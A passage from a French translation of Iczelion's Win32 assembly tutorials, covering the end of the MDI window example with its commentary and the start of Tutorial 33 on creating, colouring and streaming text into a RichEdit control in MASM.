            WS_OVERLAPPEDWINDOW or WS_CLIPCHILDREN,CW_USEDEFAULT,\
            CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,0,\
            hInst,NULL
    mov hwndFrame,eax
    invoke LoadMenu,hInstance, IDR_CHILDMENU
    mov hChildMenu,eax
    invoke ShowWindow,hwndFrame,SW_SHOWNORMAL
    invoke UpdateWindow, hwndFrame
    .while TRUE
        invoke GetMessage,ADDR msg,NULL,0,0
        .break .if (!eax)
        invoke TranslateMDISysAccel,hwndClient,addr msg
        .if !eax
            invoke TranslateMessage, ADDR msg
            invoke DispatchMessage, ADDR msg
        .endif
    .endw
    invoke DestroyMenu, hChildMenu
    mov eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    LOCAL ClientStruct:CLIENTCREATESTRUCT
    .if uMsg==WM_CREATE
        invoke GetMenu,hWnd
        mov hMainMenu,eax
        invoke GetSubMenu,hMainMenu,1
        mov ClientStruct.hWindowMenu,eax
        mov ClientStruct.idFirstChild,100
        INVOKE CreateWindowEx,NULL,ADDR MDIClientName,NULL,\
                WS_CHILD or WS_VISIBLE or WS_CLIPCHILDREN,CW_USEDEFAULT,\
                CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,hWnd,NULL,\
                hInstance,addr ClientStruct
        mov hwndClient,eax
        ;=======================================
        ; Initialize the MDICREATESTRUCT
        ;=======================================
        mov mdicreate.szClass,offset MDIChildClassName
        mov mdicreate.szTitle,offset MDIChildTitle
        push hInstance
        pop mdicreate.hOwner
        mov mdicreate.x,CW_USEDEFAULT
        mov mdicreate.y,CW_USEDEFAULT
        mov mdicreate.lx,CW_USEDEFAULT
        mov mdicreate.ly,CW_USEDEFAULT
    .elseif uMsg==WM_COMMAND
        .if lParam==0
            mov eax,wParam
            .if ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDM_TILEHORZ
                invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_HORIZONTAL,0
            .elseif ax==IDM_TILEVERT
                invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_VERTICAL,0
            .elseif ax==IDM_CASCADE
                invoke SendMessage,hwndClient,WM_MDICASCADE,MDITILE_SKIPDISABLED,0
            .elseif ax==IDM_NEW
                invoke SendMessage,hwndClient,WM_MDICREATE,0,addr mdicreate
            .elseif ax==IDM_CLOSE
                invoke SendMessage,hwndClient,WM_MDIGETACTIVE,0,0
                invoke SendMessage,eax,WM_CLOSE,0,0
            .else
                invoke DefFrameProc,hWnd,hwndClient,uMsg,wParam,lParam
                ret
            .endif
        .endif
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefFrameProc,hWnd,hwndClient,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp

ChildProc proc hChild:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
    .if uMsg==WM_MDIACTIVATE
        mov eax,lParam
        .if eax==hChild
            invoke GetSubMenu,hChildMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hChildMenu,edx
        .else
            invoke GetSubMenu,hMainMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hMainMenu,edx
        .endif
        invoke DrawMenuBar,hwndFrame
    .elseif uMsg==WM_CLOSE
        invoke MessageBox,hChild,addr ClosePromptMessage,addr AppName,MB_YESNO
        .if eax==IDYES
            invoke SendMessage,hwndClient,WM_MDIDESTROY,hChild,0
        .endif
    .else
        invoke DefMDIChildProc,hChild,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
ChildProc endp
end start

Analyse :

La première chose que le programme doit faire c'est enregistrer les Window Class de la fenêtre d'encadrement et la fenêtre enfant du MDI. Après cela, il appelle CreateWindowEx pour créer la fenêtre d'encadrement. Dans la section WM_CREATE de la fenêtre d'encadrement, nous créons la fenêtre client :

    LOCAL ClientStruct:CLIENTCREATESTRUCT
    .if uMsg==WM_CREATE
        invoke GetMenu,hWnd
        mov hMainMenu,eax
        invoke GetSubMenu,hMainMenu,1
        mov ClientStruct.hWindowMenu,eax
        mov ClientStruct.idFirstChild,100
        invoke CreateWindowEx,NULL,ADDR MDIClientName,NULL,\
            WS_CHILD or WS_VISIBLE or WS_CLIPCHILDREN,CW_USEDEFAULT,\
            CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,hWnd,NULL,\
            hInstance,addr ClientStruct
        mov hwndClient,eax

On appelle GetMenu pour récupérer l'handle du menu de la fenêtre d'encadrement, pour l'utiliser dans le Call GetSubMenu. Notez que nous passons la valeur 1 à GetSubMenu parce que le sous-menu que nous voulons que la liste de fenêtres affiche est le deuxième sous-menu. Alors nous remplissons les membres de la structure CLIENTCREATESTRUCT.
Ensuite, nous initialisons la structure MDICLIENTSTRUCT. Notez que nous n'avons pas besoin de le faire pour l'instant. C'est seulement plus commode de le faire dans WM_CREATE.

    mov mdicreate.szClass,offset MDIChildClassName
    mov mdicreate.szTitle,offset MDIChildTitle
    push hInstance
    pop mdicreate.hOwner
    mov mdicreate.x,CW_USEDEFAULT
    mov mdicreate.y,CW_USEDEFAULT
    mov mdicreate.lx,CW_USEDEFAULT
    mov mdicreate.ly,CW_USEDEFAULT

Après que la fenêtre d'encadrement ait été créé (et aussi la fenêtre client), nous appelons LoadMenu pour charger le menu de fenêtre enfant en ressource. Nous avons besoin de récupérer ce l'handle de ce menu c'est pourquoi nous pouvons remplacer le menu de la fenêtre d'encadrement par celui-ci quand une fenêtre enfant du MDI est présente. N'oubliez pas d'appeler DestroyMenu en fin des sections de traitement des Messages (WM_) avant de sortir de l'application pour redonner la main à Windows. Normalement Windows libérera automatiquement le menu associé à n'importe qu'elle fenêtre quand on sort de l'application mais dans notre cas, le menu d"une fenêtre enfant n'est associée à aucune fenêtre, c'est la raison pour laquelle le menu restera toujours la mémoire même après qu'on sorte de l'application.

    invoke LoadMenu,hInstance, IDR_CHILDMENU
    mov hChildMenu,eax
    ........
    invoke DestroyMenu, hChildMenu

Dans la boucle des messages, nous appelons TranslateMDISysAccel.

    .while TRUE
        invoke GetMessage,ADDR msg,NULL,0,0
        .break .if (!eax)
        invoke TranslateMDISysAccel,hwndClient,addr msg
        .if !eax
            invoke TranslateMessage, ADDR msg
            invoke DispatchMessage, ADDR msg
        .endif
    .endw

Si TranslateMDISysAccel retourne une valeur non-nulle, cela signifie que le message a été déjà été traité par Windows lui-même donc vous n'avez pas besoin de faire quoi que ce soit de ce message. Si elle retourne 0, le message n'est pas spécifique au MDI et il doit ainsi être traité comme d'habitude.

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .....
    .else
        invoke DefFrameProc,hWnd,hwndClient,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp

Notez que dans la Window Proc de la fenêtre d'encadrement, nous appelons DefFrameProc pour qu'elle se charge des messages qui ne nous intéressent pas.

La plus grande partie de la procédure de fenêtre est la section WM_COMMAND. Quand l'utilisateur choisit "New" dans le menu "File" (Fichier), nous créons une nouvelle fenêtre enfant du MDI.

    .elseif ax==IDM_NEW
        invoke SendMessage,hwndClient,WM_MDICREATE,0,addr mdicreate

Dans notre exemple, nous créons la fenêtre enfant du MDI en envoyant WM_MDICREATE à la fenêtre client, en passant l'adresse de la structure MDICREATESTRUCT dans lParam.

ChildProc proc hChild:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
    .if uMsg==WM_MDIACTIVATE
        mov eax,lParam
        .if eax==hChild
            invoke GetSubMenu,hChildMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hChildMenu,edx
        .else
            invoke GetSubMenu,hMainMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hMainMenu,edx
        .endif
        invoke DrawMenuBar,hwndFrame

Quand la fenêtre enfant du MDI est créée, on se sert de WM_MDIACTIVATE pour voir si celle-ci est active. On réalise ça en comparant la valeur de lParam qui contient l'handle de la fenêtre enfant active avec son propre handle. S'ils correspondent, c'est que c'est bien la fenêtre active et l'étape suivante c'est de remplacer le menu de la fenêtre d'encadrement par le sien. Puisque le menu original sera remplacé, vous devez de nouveau informer Windows pour qu'il sache dans quelle sous-menu la liste de fenêtres doit apparaître. C'est pourquoi nous devons appeler une fois de plus GetSubMenu pour retrouver l'handle du sous-menu. Nous envoyons le message WM_MDISETMENU à la fenêtre client pour obtenir le résultat souhaité. Le paramètre WParam associé à WM_MDISETMENU contient l'handle du menu que vous voulez qui remplace le menu original. LParam contient l'handle du sous-menu que vous voulez que la liste de fenêtres affiche. Directement après l'envoi de du message WM_MDISETMENU, nous appelons DrawMenuBar pour rafraîchir le menu sinon il sera en désordre.

    .else
        invoke DefMDIChildProc,hChild,uMsg,wParam,lParam
        ret
    .endif
Dans la WindowProc  de la fenêtre enfant du MDI, vous devez passer tous les messages non traités grâce à DefMDIChildProc au lieu de DefWindowProc.
    .elseif ax==IDM_TILEHORZ
        invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_HORIZONTAL,0
    .elseif ax==IDM_TILEVERT
        invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_VERTICAL,0
    .elseif ax==IDM_CASCADE
        invoke SendMessage,hwndClient,WM_MDICASCADE,MDITILE_SKIPDISABLED,0

Quand l'utilisateur choisit un sous-item du menu, nous envoyons le message correspondant à la fenêtre client. Si l'utilisateur choisit de repositionner les différentes fenêtres (avec un des item "Tile" du programme), nous envoyons le message WM_MDITILE à la fenêtre client, en lui spécifiant dans wParam quel type de disposition (tile) nous voulons. Le message WM_CASCADE est semblable.

    .elseif ax==IDM_CLOSE
        invoke SendMessage,hwndClient,WM_MDIGETACTIVE,0,0
        invoke SendMessage,eax,WM_CLOSE,0,0

Si l'utilisateur choisit l'item "Close", nous devons récupérer l'handle de la fenêtre enfant actuellement active en envoyant WM_MDIGETACTIVE à la fenêtre client. La valeur en retour dans eax est son handle. Après ça, nous envoyons WM_CLOSE à cette fenêtre.

    .elseif uMsg==WM_CLOSE
        invoke MessageBox,hChild,addr ClosePromptMessage,addr AppName,MB_YESNO
        .if eax==IDYES
            invoke SendMessage,hwndClient,WM_MDIDESTROY,hChild,0
        .endif

Dans la WindowProc de la fenêtre enfant du MDI, quand WM_CLOSE est reçu, on affiche une MessageBox demandant à l'utilisateur s'il veut vraiment refermer le fenêtre en question. Si la réponse est oui, on envoie le message WM_MDIDESTROY à la fenêtre client. WM_MDIDESTROY ferme la fenêtre enfant du MDI et rétablit le titre de la fenêtre d'encadrement.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 33: RichEdit Control: Basics

Tutorial 33: Les Bases du RichEdit Control

Il y a des tas de tutorials à propos du RichEdit Control. Finalement j'ai joué un peu avec et j'ai pensé que je pouvais écrire un tut dessus. Donc le voici : C'est le premier tutorial sur le RichEdit, c'est une série de trois. Ces Tutorials décriront presque tout ce qu'il y a à savoir sur le RichEdit Control ou tout au moins tout ce que j'en sais. La quantité d'informations est plutôt importante c'est pourquoi je les ai divisés en plusieurs parties, ce tutorial étant la première partie. Dans celui-ci, vous apprendrez ce qu'est le RichEdit Control et comment le créer puis comment y loader/Ssuvegarder des données..

Downloadez l'exemple.

Théorie :

On peut s'imaginer un 'Richedit Control' comme étant un 'Edit Control' évolué (Edit Contol = Zone d'édition de texte/ par exemple le cadre où vous tapez vos adresses internet dans IE). Il présent plusieurs nouvelles particularités qui manquent à un simple Edit Control, par exemple, la possibilité d'utiliser plusieurs tailles de fonte, plusieurs fois l'action "Annuler Frapper/Répéter Frappe", l'opération "Recherche de Texte", les objets "OLE", le support d'édition "glisser-déplacer", etc. Puisque le Richedit Contol a tant de particularités, il est stocké dans DLL séparée. Ca signifie aussi que, pour l'employer, vous ne pouvez pas appeler comme on le fait habituellement l'API InitCommonControls comme pour les autres Commons Controls. Vous devez appeler LoadLibrary pour charger la richedit DLL.

Le problème consiste en ce qu'il y a trois versions du Richedit Control jusqu'à maintenant. la Version 1,2 et 3. La table ci-dessous vous montre le nom de la DLL pour chaque version.

DLL Name | RichEdit version | Richedit Class Name
Riched32.dll | 1.0 | RICHEDIT
RichEd20.dll | 2.0 | RICHEDIT20A
RichEd20.dll | 3.0 | RICHEDIT20A

Vous pouvez remarquer que la version 2 et 3 du richedit emploie le même nom de DLL. Ils emploient aussi le même nom de classe! Ca risque de poser un problème si vous voulez employer les particularités spécifiques du richedit 3.0. Jusqu'ici, je n'ai pas trouvé de méthode officielle pour les différencier. Cependant, il y a une astuce qui fonctionne bien, je vous la montrerai plus tard.

.data
   RichEditDLL db "RichEd20.dll",0
    .....
.data?
    hRichEditDLL dd ?
.code
    invoke LoadLibrary,addr RichEditDLL
    mov hRichEditDLL,eax
    ......
    invoke FreeLibrary,hRichEditDLL

Quand la DLL richedit est chargée, elle enregistre la Window Class RichEdit. C'est pourquoi il est impératif de charger la DLL avant de créer un Control. Les noms des Class pour un Richedit Contol sont également différentes. Maintenant on peut se poser une question : comment savoir quelle version de Richedit Contol on doit utiliser? L'utilisation de la dernière version n'est pas toujours la plus appropriée si vous n'avez pas besoin de ses propriétés supplémentaires. Donc voilà ci-dessous la table qui expose les particularités fournies par chaque version du RichEdit Control.

Feature/Particularité | Version 1.0 | Version 2.0 | Version 3.0
barre de sélection | x | x | x
texte unicode |  | x | x
Mise en forme des caractères/paragraphes | x | x | x
Recherche de texte | en avant | avant/arrière | avant/arrière
OLE embedding | x | x | x
Drag&Drop (Glisser-Déposer) | x | x | x
Undo/Redo (Annuler/Répéter) | 1 niveau | multi-niveaux | multi-niveaux
Reconnaissance automatique d'URL |  | x | x
Accelerator key support (Tab, Alt...) |  | x | x
Windowless operation (?) |  | x | x
Enter (Retour Chariot) | CRLF | CR seulement | CR (peut émuler la version 1.0)
Zoom |  |  | x
Paragraphes numérotés |  |  | x
Tableau basic |  |  | x
Styles normaux et d'entête |  |  | x
Coloration syntaxique |  |  | x
Texte cacher |  |  | x
Font liée |  |  | x

La susdite table n'est en aucun cas complète : j'ai seulement inscrit les particularités les plus importantes.

Création d'un Richedit Control :

Après le chargement de la DLL richedit, vous pouvez appeler CreateWindowEx pour créer le Control. Vous pouvez employer les styles d'Edit Control et les styles de Common Control dans CreateWindowEx exeptés ES_LOWERCASE, ES_UPPERCASE et ES_OEMCONVERT.

.const
    RichEditID equ 300
.data
    RichEditDLL db "RichEd20.dll",0
    RichEditClass db "RichEdit20A",0
    ...
.data?
    hRichEditDLL dd ?
    hwndRichEdit dd ?
.code
    .....
    invoke LoadLibrary,addr RichEditDLL
    mov hRichEditDLL,eax
    invoke CreateWindowEx,0,addr RichEditClass,WS_VISIBLE or ES_MULTILINE or WS_CHILD or WS_VSCROLL or WS_HSCROLL, \
                CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
    mov hwndRichEdit,eax

Assignation d'une couleur de fond et couleur d'un texte par défaut :

Vous avez peut-être déjà rencontré quelques problèmes avec la couleur du texte et la couleur de fond dans un Edit Contol. Mais ce problème a été résolut grâce au Richedit Control. Pour donner une couleur de fond à un Richedit Control, vous devez lui envoyer EM_SETBKGNDCOLOR. Ce message a la syntaxe suivante.

wParam == Une couleur en option. La valeur 0 dans ce paramètre indique que Windows utilisera comme couleur de fond celle définit dans lParam. Si cette valeur n'est pas nulle, Windows utilisera la couleur de fond du système. Puisque nous envoyons ce message pour changer de la couleur du fond, nous devons passer 0 dans wParam.
lParam == pointe sur la structure COLORREF, contenant la couleur que vous voulez mettre si wParam est NULL.

Par exemple, si je veux mettre la couleur de fond "bleu pur", je mettrais la ligne :

        invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,0FF0000h

Placez la couleur du texte du Richedit Control grâce au nouveau message EM_SETCHARFORMAT. Ce message contrôle le formatage du bout de texte ou bien tout le texte du Contol. Ce message a la syntaxe suivante :

wParam == Options de formatage:

SCF_ALL | l'opération affecte la totalité du texte contenu dans le Control.
SCF_SELECTION | l' opération affecte seulement le texte sélectionné.
SCF_WORD or SCF_SELECTION | Affecte le mot choisit. Si ce choix est vide, c'est-à-dire que seul le caret '|' est sur le mot, l'opération affecte ce mot. On doit utiliser les flags SCF_WORD et SCF_SELECTION. (Caret = Curseur d'écriture de texte (le truc qui clignote souvent))

lParam == pointe sur la structure CHARFORMAT ou CHARFORMAT2 lequelles specifient la prochaine option de formattage de texte à effectuer. CHARFORMAT2 est uniquement disponible pour richedit 2.0 ou plus. Ca ne signifie pas que vous devez employer CHARFORMAT2 avec RichEdit 2.0 ou plus. Vous pouvez toujours employer CHARFORMAT si les particularités ajoutées à CHARFORMAT2 ne sont pas nécessaires pour vos besoins.

CHARFORMATA STRUCT
    cbSize DWORD ?
    dwMask DWORD ?
    dwEffects DWORD    ?
    yHeight DWORD ?
    yOffset DWORD ?
    crTextColor COLORREF ?
    bCharSet BYTE ?
    bPitchAndFamily    BYTE ?
    szFaceName BYTE LF_FACESIZE dup(?)
    _wPad2 WORD ?
CHARFORMATA ENDS
Champs | Description
cbSize | La taille de la structure. Le RichEdit Control se sert de ce champ pour déterminer la version de la structure est CHARFORMAT ou bien CHARFORMAT2
dwMask

Flags (de type Bits) qui déterminent lesquels des membres suivants sont valables.

CFM_BOLD | la valeur CFE_BOLD du membre dwEffects is valide
CFM_CHARSET | le membre bCharSet est valide.
CFM_COLOR | le membre crTextColor et la valeur CFE_AUTOCOLOR du membre dwEffects sont valides
CFM_FACE | le membre szFaceName est valide.
CFM_ITALIC | la valeur CFE_ITALIC du membre dwEffects est valide.
CFM_OFFSET | le membre yOffset est valide.
CFM_PROTECTED | la valeur CFE_PROTECTED du membre dwEffects est valide.
CFM_SIZE | le membre yHeight est valide.
CFM_STRIKEOUT | la valeur CFE_STRIKEOUT du membre dwEffects est valide.
CFM_UNDERLINE | la valeur CFE_UNDERLINE du membre dwEffects est valide.
dwEffects

Les effets de texte peuvent être une combinaison des valeurs suivantes :

CFE_AUTOCOLOR | Utilisation de la palette couleur du système
CFE_BOLD | Caractères gras
CFE_ITALIC | Caractères italics
CFE_STRIKEOUT | Caractères frappés
CFE_UNDERLINE | Caractères soulignés
CFE_PROTECTED | Caractères protégés; Une tentative de modification provoquera l'envoie du message EN_PROTECTED.
yHeight | Hauteur des caractères, en unités (1/1440 de pouce ou 1/20 de point d'imprimante.)
yOffset | Déplacement du caractère (en unités vues ci-dessus) par rapport à la baseline. Si la valeur de ce membre est positive, le caractère est un exposant (ex : ²); si elle est négative, le caractère est un indice.
crTextColor | Couleur du texte. Ce membre est ignoré si l' effet de caractère CFE_AUTOCOLOR est spécifié.
bCharSet | Valeur du jeu de caractère
bPitchAndFamily | Famille de fonte et de lancement.
szFaceName | Tableau de caractère Terminé par un byte nul spécifiant le nom de la fonte.
_wPad2 | Retrait.

En examinant la structure, vous verrez que nous pouvons modifier les effets de texte (gras, italique, souligné..), la couleur du texte (crTextColor) ainsi que le jeu de caractères et la taille de la fonte. Un Flag remarquable est CFE_RPOTECTED. Le texte en présence de ce Flag est marqué comme protégé ce qui signifie que lorsque l'utilisateur essaye de le modifier, le message de notification, EN_PROTECTED sera envoyé à la fenêtre parente. Et vous pouvez donner la permission ou non de le modifier.

CHARFORMAT2 et plus met à disposition des styles de texte supplémentaires tel que la hauteur de fonte, espacement, couleur de texte, entre lignes, etc. Si vous n'avez pas besoin de ces particularités supplémentaires, alors servez vous simplement de CHARFORMAT.

Pour appliquer le formatage de texte, vous devez penser à la gamme de texte que vous voulez appliquer. Le Richedit Control introduit la notion de gamme de texte (la notion d'échantillonnage). Le Richedit Control attribue un numéro pour chaque caractère en commençant par 0 : le premier caractère du Control aura le n°Id 0, le deuxième caractère 1 et cetera. Pour spécifier une gamme de texte (pour délimiter une portion de texte), vous devez donner au Richedit Control deux numéros : le n°id du premier et le dernier caractère de la gamme choisit. Pour appliquer ce formatage sur votre portion de texte utilisez EM_SETCHARFORMAT, vous avez au minimum trois choix :

  1. applique ce formatage à la totalité du texte (SCF_ALL)
  2. applique le formatage seulement au texte sélectionné (SCF_SELECTION)
  3. applique le formatage au mot actuellement choisit (SCF_WORD ou SCF_SELECTION)

Le premier et les deuxièmes choix sont clairs. Le dernier par contre exige une petite explication. Si le choix (la sélection) actuel(le) recouvre que quelques lettres d'un mot mais pas le mot en entier, alors en spécifiant les Flags SCF_WORD+SCF_SELECTION, le formatage s'appliquera à la totalité du mot. Même s'il n'y a aucune selection, pourvue que le caret soit placé parmi les lettres composant ce mot. (Caret = Curseur d'écriture de texte)

Pour utiliser EM_SETCHARFORMAT, vous avez besoin de remplir plusieurs membres de la structure CHARFORMAT (ou CHARFORMAT2). Par example, si nous voulons appliquer la couleur de texte, nous remplirons la structure CHARFORMAT comme suit :

.data?
    cf CHARFORMAT <>
....
.code
    mov cf.cbSize,sizeof cf
    mov cf.dwMask,CFM_COLOR
    mov cf.crTextColor,0FF0000h
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cf

Ce petit bout de code colore en "Bleu pur" le texte du Richedit Control. Remarquez que s'il n'y a pas encore de texte d'écrit dedans et bien même qu'on aura déjà envoyé le message EM_SETCHARFORMAT, le texte entré par la suite utilisera le formatage de texte spécifié par ce message EM_SETCHARFORMAT bien qu'il ne lui soit plus attribué.

Application du texte/sauvegarde du texte :

Pour ceux d'entre vous qui on l'habitude d'employés l' Edit Control, vous êtes certainement familiers avec les messages WM_GETTEXT et WM_SETTEXT comme moyens pour envoyer un texte / récupérer un texte dans un Control. Cette méthode fonctionne également avec le Richedit Control, mais elle n'est pas efficace si le fichier est grand. La raison c'est que le l'Edit Control limite la taille du texte transmis à 64Ko, alors qu'en revanche Richedit Control peut accepter un texte beaucoup plus grand que ça. Il serait très ennuyeux de réserver un très grand bloc de mémoire (comme 10 Mo ou plus) pour recevoir le texte récupéré avec le message WM_GETTEXT. Le Richedit Control offre une nouvelle approche à cette méthode, c'est le texte streaming.

Pour le transmettre tout simplement, vous devez donner au Richedit Control l'adresse d'une fonction CallBack. Et le Richedit Control appellera cette fonction CallBack, en lui passant l'adresse du buffer quand elle est prête. La fonction CallBack remplira le buffer avec les données qu'il veut envoyer au Contol ou bien elle lira les données présente dans le buffer puis ensuite attend l'appel suivant avant que l'opération ne soit terminée. Ce paradigme est employé pour le striming d'envoi (setting the texte) et pour le striming de récupération (l'obtention du texte du Control). Vous verrez que cette méthode est plus efficace : le buffer est fournit lui-même par le Richedit Control, comme ça les données sont divisées en plusieurs blocs. Ces opérations impliquent les deux messages suivants : EM_STREAMIN et EM_STREAMOUT.

Tous les deux, EM_STREAMIN et EM_STREAMOUT utilisent la même syntaxe:

wParam == Option de formatage.

SF_RTF | Les données au format rich-text (RTF)
SF_TEXT | Les donnée au format texte brute.
SFF_PLAINRTF | Seulement les mots-clés communs à toutes les langages stream.
SFF_SELECTION | S'il est spécifié, l'opération à effectuer sera appliquée sur le texte actuellement sélectionné. Si vous envoyez du texte (stream in), ce texte remplace celui actuellement sélectionné. Si vous récupérez du texte (stream out), seule la partie de texte actuellement sélectionnée sera récupérée. Si ce Flag n'est pas spécifié, l'opération affecte la totalité du texte contenu dans le Control.
SF_UNICODE | (Valide pour RichEdit 2.0 et plus) Spécifie que le texte sera au format unicode. (unicode supporte un jeu de caractères étendus: ex : éèçà%ù)

lParam == pointe sur la structure EDITSTREAM laquelle est définie ici :

 EDITSTREAM STRUCT
    dwCookie DWORD    ?
    dwError DWORD ?
    pfnCallback DWORD ?
EDITSTREAM ENDS
dwCookie | est une valeur pré-définie que l'on passera à la fonction CallBack speficiée dans le membre pfnCallback ci-dessous. Nous passons normalement quelque valeur importante à la fonction CallBack tel que le fichier handle à employer dans la procédure streming in/out (envoi/récupération).
dwError | Indique les résultats de l'opération d'envoi/récupération . Une valeur NULL n'indique aucune erreur. Une valeur non nulle peut être la valeur de retour de la fonction CallBack EditStreamCallback ou bien un code indiquant que le Control a rencontré une erreur.
pfnCallback | pointe sur une fonction EditStreamCallback, qui est une fonction pré-définie que le Control appelle pour transférer les données. Le Control appelle cette fonction CallBack à plusieurs reprises, pour transférer les données partagées en plusieurs blocs pour chaque appel.

La fonction CallBack editstream est définit ainsi :

    EditStreamCallback proto dwCookie:DWORD,
                 pBuffer:DWORD,
                 NumBytes:DWORD,
                 pBytesTransferred:DWORD

Vous devez créer une fonction avec ce prototype. Et passez ensuite son adresse aux messages EM_STREAMIN ou EM_STREAMOUT par le biais de la structure EDITSTREAM.

Pour l'opération d'envoi (setting the text in the richedit control):

dwCookie: est la valeur pré-définit que vous passez à EM_STREAMIN par le biais de la structure EDITSTREAM.
      On passe pratiquement toujours l'handle du fichier dont on souhaite transmettre son contenu au Control.
pBuffer: pointe sur le buffer fourni par le Richedit Control qui recevra le texte de votre fonction CallBack.
NumBytes: le nombre maximal d'octets que vous pouvez écrire dans le buffer (pBuffer) de cet appel.
      Vous DEVEZ toujours respecter à cette limite, c'est-à-dire que vous pouvez bien sûr envoyer moins de données
      que la valeur de NumBytes mais vous ne devez pas envoyer plus de données que cette valeur.
      Vous pouvez vous imaginer cette valeur comme étant la taille du buffer pBuffer.
pBytesTransferred: pointe sur un dword qui va vous servir à récupérer la valeur du nombre d'octets réellement transférés au buffer.
        Cette valeur est d'habitude identique à la valeur de NumBytes. L'exception c'est quand les données qui doivent être envoyées sont
       inférieures à la taille du buffer, comme par exemple dans le cas où on a atteint la fin du fichier.

Pour l'opération de récupération (getting the text out of the richedit control):

dwCookie: même chose que dans le cas précédent. Nous passons d'habitude l'handle du fichier dans lequel nous voulons écrire les données.
pBuffer: pointe sur le buffer fourni par le Richedit Control qui sert à récupérer les données actuellement présentes dans le Richedit Control.
       Pour obtenir sa taille, vous devez regarder la valeur de NumBytes.
NumBytes: est la taille des données du buffer indiqué par pBuffer.
pBytesTransferred: pointe sur un dword qui va vous servir à récupérer la valeur du nombre d'octets réellement lues dans le buffer.

La fonction CallBack retourne 0 en cas de succès, et le Richedit Control continuera à appeler cette fonction tant qu'il y a des données à lire/écrire (à récupérer/envoyer). Si une erreur se produit pendant ce processus et que vous voulez arrêter l'opération, cette fonction renvoie une valeur non nulle et le Richedit Control renoncera aux données indiquées par pBuffer. La valeur d'erreur/succès sera placée dans le champ dwError de EDITSTREAM, de cette façon vous pouvez examiner le statut erreur/succès de l'opération de streamming après le retour de SendMessage.

Exemple:

L'exemple ci-dessous est un simple éditeur avec lequel vous pouvez ouvrir des fichiers *.asm, les éditer et les sauvegarder. Il emploie la version 2.0 ou plus du RichEdit Control.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\gdi32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU                   equ 101
IDM_OPEN                      equ  40001
IDM_SAVE                       equ 40002
IDM_CLOSE                      equ 40003
IDM_SAVEAS                     equ 40004
IDM_EXIT                       equ 40005
IDM_COPY                      equ  40006
IDM_CUT                       equ  40007
IDM_PASTE                      equ 40008
IDM_DELETE                     equ 40009
IDM_SELECTALL                  equ 40010
IDM_OPTION 			equ 40011
IDM_UNDO			equ 40012
IDM_REDO			equ 40013
IDD_OPTIONDLG                  equ 101
IDC_BACKCOLORBOX               equ 1000
IDC_TEXTCOLORBOX               equ 1001

RichEditID 			equ 300

.data
ClassName db "IczEditClass",0
AppName  db "IczEdit version 1.0",0
RichEditDLL db "riched20.dll",0
RichEditClass db "RichEdit20A",0
NoRichEdit db "Cannot find riched20.dll",0
ASMFilterString 		db "ASM Source code (*.asm)",0,"*.asm",0
                db "All Files (*.*)",0,"*.*",0,0
OpenFileFail db "Cannot open the file",0
WannaSave db "The data in the control is modified. Want to save it?",0
FileOpened dd FALSE
BackgroundColor dd 0FFFFFFh		; default to white
TextColor dd 0		; default to black

.data?
hInstance dd ?
hRichEdit dd ?
hwndRichEdit dd ?
FileName db 256 dup(?)
AlternateFileName db 256 dup(?)
CustomColors dd 16 dup(?)

.code
start:
    invoke GetModuleHandle, NULL
    mov    hInstance,eax
    invoke LoadLibrary,addr RichEditDLL
    .if eax!=0
        mov hRichEdit,eax
        invoke WinMain, hInstance,0,0, SW_SHOWDEFAULT
        invoke FreeLibrary,hRichEdit
    .else
        invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
    .endif
    invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:DWORD
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInst
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,IDR_MAINMENU
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
